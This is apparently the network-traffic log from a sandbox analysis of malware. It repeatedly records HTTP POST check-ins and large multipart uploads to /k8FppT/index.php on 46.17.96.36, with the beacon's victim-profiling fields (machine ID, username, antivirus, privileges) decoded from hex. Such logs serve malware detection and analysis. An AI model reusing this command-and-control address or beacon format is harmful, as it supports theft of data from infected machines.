Source: global traffic	HTTP traffic detected: POST /k8FppT/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 46.17.96.36Content-Length: 82Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 31 65 36 38 30 64 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 31 30 33 33 38 36 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=1e680d&os=1&bi=1&ar=1&pc=103386&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /k8FppT/index.php?scr=1 HTTP/1.1Content-Type: multipart/form-data; boundary=----412e85b07ebc931c9305d6d7a5d96d3cHost: 46.17.96.36Content-Length: 107128Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /k8FppT/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 46.17.96.36Content-Length: 82Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 31 65 36 38 30 64 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 31 30 33 33 38 36 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=1e680d&os=1&bi=1&ar=1&pc=103386&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /k8FppT/index.php?scr=1 HTTP/1.1Content-Type: multipart/form-data; boundary=----412e85b07ebc931c9305d6d7a5d96d3cHost: 46.17.96.36Content-Length: 107128Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /k8FppT/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 46.17.96.36Content-Length: 82Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 31 65 36 38 30 64 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 31 30 33 33 38 36 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=1e680d&os=1&bi=1&ar=1&pc=103386&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /k8FppT/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 46.17.96.36Content-Length: 82Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 31 65 36 38 30 64 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 31 30 33 33 38 36 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=1e680d&os=1&bi=1&ar=1&pc=103386&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /k8FppT/index.php?scr=1 HTTP/1.1Content-Type: multipart/form-data; boundary=----412e85b07ebc931c9305d6d7a5d96d3cHost: 46.17.96.36Content-Length: 107128Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /k8FppT/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 46.17.96.36Content-Length: 82Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 31 65 36 38 30 64 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 31 30 33 33 38 36 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=1e680d&os=1&bi=1&ar=1&pc=103386&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /k8FppT/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 46.17.96.36Content-Length: 82Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 31 65 36 38 30 64 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 31 30 33 33 38 36 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=1e680d&os=1&bi=1&ar=1&pc=103386&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /k8FppT/index.php?scr=1 HTTP/1.1Content-Type: multipart/form-data; boundary=----412e85b07ebc931c9305d6d7a5d96d3cHost: 46.17.96.36Content-Length: 107128Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /k8FppT/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 46.17.96.36Content-Length: 82Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 31 65 36 38 30 64 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 31 30 33 33 38 36 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=1e680d&os=1&bi=1&ar=1&pc=103386&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /k8FppT/index.php?scr=1 HTTP/1.1Content-Type: multipart/form-data; boundary=----412e85b07ebc931c9305d6d7a5d96d3cHost: 46.17.96.36Content-Length: 107128Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /k8FppT/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 46.17.96.36Content-Length: 82Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 31 65 36 38 30 64 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 31 30 33 33 38 36 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=1e680d&os=1&bi=1&ar=1&pc=103386&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /k8FppT/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 46.17.96.36Content-Length: 82Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 31 65 36 38 30 64 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 31 30 33 33 38 36 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=1e680d&os=1&bi=1&ar=1&pc=103386&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /k8FppT/index.php?scr=1 HTTP/1.1Content-Type: multipart/form-data; boundary=----412e85b07ebc931c9305d6d7a5d96d3cHost: 46.17.96.36Content-Length: 107128Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /k8FppT/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 46.17.96.36Content-Length: 82Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 31 65 36 38 30 64 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 31 30 33 33 38 36 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=1e680d&os=1&bi=1&ar=1&pc=103386&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /k8FppT/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 46.17.96.36Content-Length: 82Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 31 65 36 38 30 64 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 31 30 33 33 38 36 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=1e680d&os=1&bi=1&ar=1&pc=103386&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /k8FppT/index.php?scr=1 HTTP/1.1Content-Type: multipart/form-data; boundary=----412e85b07ebc931c9305d6d7a5d96d3cHost: 46.17.96.36Content-Length: 107128Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /k8FppT/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 46.17.96.36Content-Length: 82Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 31 65 36 38 30 64 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 31 30 33 33 38 36 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=1e680d&os=1&bi=1&ar=1&pc=103386&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /k8FppT/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 46.17.96.36Content-Length: 82Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 31 65 36 38 30 64 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 31 30 33 33 38 36 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=1e680d&os=1&bi=1&ar=1&pc=103386&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /k8FppT/index.php?scr=1 HTTP/1.1Content-Type: multipart/form-data; boundary=----412e85b07ebc931c9305d6d7a5d96d3cHost: 46.17.96.36Content-Length: 107128Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /k8FppT/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 46.17.96.36Content-Length: 82Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 31 65 36 38 30 64 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 31 30 33 33 38 36 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=1e680d&os=1&bi=1&ar=1&pc=103386&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /k8FppT/index.php?scr=1 HTTP/1.1Content-Type: multipart/form-data; boundary=----412e85b07ebc931c9305d6d7a5d96d3cHost: 46.17.96.36Content-Length: 107128Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /k8FppT/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 46.17.96.36Content-Length: 82Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 31 65 36 38 30 64 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 31 30 33 33 38 36 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=1e680d&os=1&bi=1&ar=1&pc=103386&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /k8FppT/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 46.17.96.36Content-Length: 82Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 31 65 36 38 30 64 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 31 30 33 33 38 36 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=1e680d&os=1&bi=1&ar=1&pc=103386&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /k8FppT/index.php?scr=1 HTTP/1.1Content-Type: multipart/form-data; boundary=----412e85b07ebc931c9305d6d7a5d96d3cHost: 46.17.96.36Content-Length: 107128Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /k8FppT/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 46.17.96.36Content-Length: 82Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 31 65 36 38 30 64 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 31 30 33 33 38 36 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=1e680d&os=1&bi=1&ar=1&pc=103386&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /k8FppT/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 46.17.96.36Content-Length: 82Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 31 65 36 38 30 64 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 31 30 33 33 38 36 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=1e680d&os=1&bi=1&ar=1&pc=103386&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /k8FppT/index.php?scr=1 HTTP/1.1Content-Type: multipart/form-data; boundary=----412e85b07ebc931c9305d6d7a5d96d3cHost: 46.17.96.36Content-Length: 107128Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /k8FppT/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 46.17.96.36Content-Length: 82Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 31 65 36 38 30 64 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 31 30 33 33 38 36 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=1e680d&os=1&bi=1&ar=1&pc=103386&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /k8FppT/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 46.17.96.36Content-Length: 82Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 31 65 36 38 30 64 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 31 30 33 33 38 36 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=1e680d&os=1&bi=1&ar=1&pc=103386&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /k8FppT/index.php?scr=1 HTTP/1.1Content-Type: multipart/form-data; boundary=----412e85b07ebc931c9305d6d7a5d96d3cHost: 46.17.96.36Content-Length: 107128Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /k8FppT/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 46.17.96.36Content-Length: 82Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 31 65 36 38 30 64 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 31 30 33 33 38 36 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=1e680d&os=1&bi=1&ar=1&pc=103386&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /k8FppT/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 46.17.96.36Content-Length: 82Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 31 65 36 38 30 64 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 31 30 33 33 38 36 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=1e680d&os=1&bi=1&ar=1&pc=103386&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /k8FppT/index.php?scr=1 HTTP/1.1Content-Type: multipart/form-data; boundary=----412e85b07ebc931c9305d6d7a5d96d3cHost: 46.17.96.36Content-Length: 107128Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /k8FppT/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 46.17.96.36Content-Length: 82Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 31 65 36 38 30 64 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 31 30 33 33 38 36 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=1e680d&os=1&bi=1&ar=1&pc=103386&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /k8FppT/index.php?scr=1 HTTP/1.1Content-Type: multipart/form-data; boundary=----412e85b07ebc931c9305d6d7a5d96d3cHost: 46.17.96.36Content-Length: 107128Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /k8FppT/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 46.17.96.36Content-Length: 82Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 31 65 36 38 30 64 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 31 30 33 33 38 36 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=1e680d&os=1&bi=1&ar=1&pc=103386&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /k8FppT/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 46.17.96.36Content-Length: 82Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 31 65 36 38 30 64 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 31 30 33 33 38 36 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=1e680d&os=1&bi=1&ar=1&pc=103386&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /k8FppT/index.php?scr=1 HTTP/1.1Content-Type: multipart/form-data; boundary=----412e85b07ebc931c9305d6d7a5d96d3cHost: 46.17.96.36Content-Length: 107128Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /k8FppT/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 46.17.96.36Content-Length: 82Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 31 65 36 38 30 64 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 31 30 33 33 38 36 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=1e680d&os=1&bi=1&ar=1&pc=103386&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /k8FppT/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 46.17.96.36Content-Length: 82Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 31 65 36 38 30 64 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 31 30 33 33 38 36 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=1e680d&os=1&bi=1&ar=1&pc=103386&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /k8FppT/index.php?scr=1 HTTP/1.1Content-Type: multipart/form-data; boundary=----412e85b07ebc931c9305d6d7a5d96d3cHost: 46.17.96.36Content-Length: 107128Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /k8FppT/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 46.17.96.36Content-Length: 82Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 31 65 36 38 30 64 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 31 30 33 33 38 36 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=1e680d&os=1&bi=1&ar=1&pc=103386&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /k8FppT/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 46.17.96.36Content-Length: 82Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 31 65 36 38 30 64 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 31 30 33 33 38 36 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=1e680d&os=1&bi=1&ar=1&pc=103386&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /k8FppT/index.php?scr=1 HTTP/1.1Content-Type: multipart/form-data; boundary=----412e85b07ebc931c9305d6d7a5d96d3cHost: 46.17.96.36Content-Length: 107128Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /k8FppT/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 46.17.96.36Content-Length: 82Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 31 65 36 38 30 64 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 31 30 33 33 38 36 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=1e680d&os=1&bi=1&ar=1&pc=103386&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /k8FppT/index.php?scr=1 HTTP/1.1Content-Type: multipart/form-data; boundary=----412e85b07ebc931c9305d6d7a5d96d3cHost: 46.17.96.36Content-Length: 107128Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /k8FppT/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 46.17.96.36Content-Length: 82Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 31 65 36 38 30 64 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 31 30 33 33 38 36 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=1e680d&os=1&bi=1&ar=1&pc=103386&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /k8FppT/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 46.17.96.36Content-Length: 82Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 31 65 36 38 30 64 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 31 30 33 33 38 36 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=1e680d&os=1&bi=1&ar=1&pc=103386&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /k8FppT/index.php?scr=1 HTTP/1.1Content-Type: multipart/form-data; boundary=----412e85b07ebc931c9305d6d7a5d96d3cHost: 46.17.96.36Content-Length: 107128Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /k8FppT/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 46.17.96.36Content-Length: 82Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 31 65 36 38 30 64 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 31 30 33 33 38 36 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=1e680d&os=1&bi=1&ar=1&pc=103386&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /k8FppT/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 46.17.96.36Content-Length: 82Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 31 65 36 38 30 64 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 31 30 33 33 38 36 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=1e680d&os=1&bi=1&ar=1&pc=103386&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /k8FppT/index.php?scr=1 HTTP/1.1Content-Type: multipart/form-data; boundary=----412e85b07ebc931c9305d6d7a5d96d3cHost: 46.17.96.36Content-Length: 107128Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /k8FppT/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 46.17.96.36Content-Length: 82Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 31 65 36 38 30 64 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 31 30 33 33 38 36 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=1e680d&os=1&bi=1&ar=1&pc=103386&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /k8FppT/index.php?scr=1 HTTP/1.1Content-Type: multipart/form-data; boundary=----412e85b07ebc931c9305d6d7a5d96d3cHost: 46.17.96.36Content-Length: 107128Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /k8FppT/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 46.17.96.36Content-Length: 82Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 31 65 36 38 30 64 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 31 30 33 33 38 36 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=1e680d&os=1&bi=1&ar=1&pc=103386&un=user&dm=&av=13&lv=0
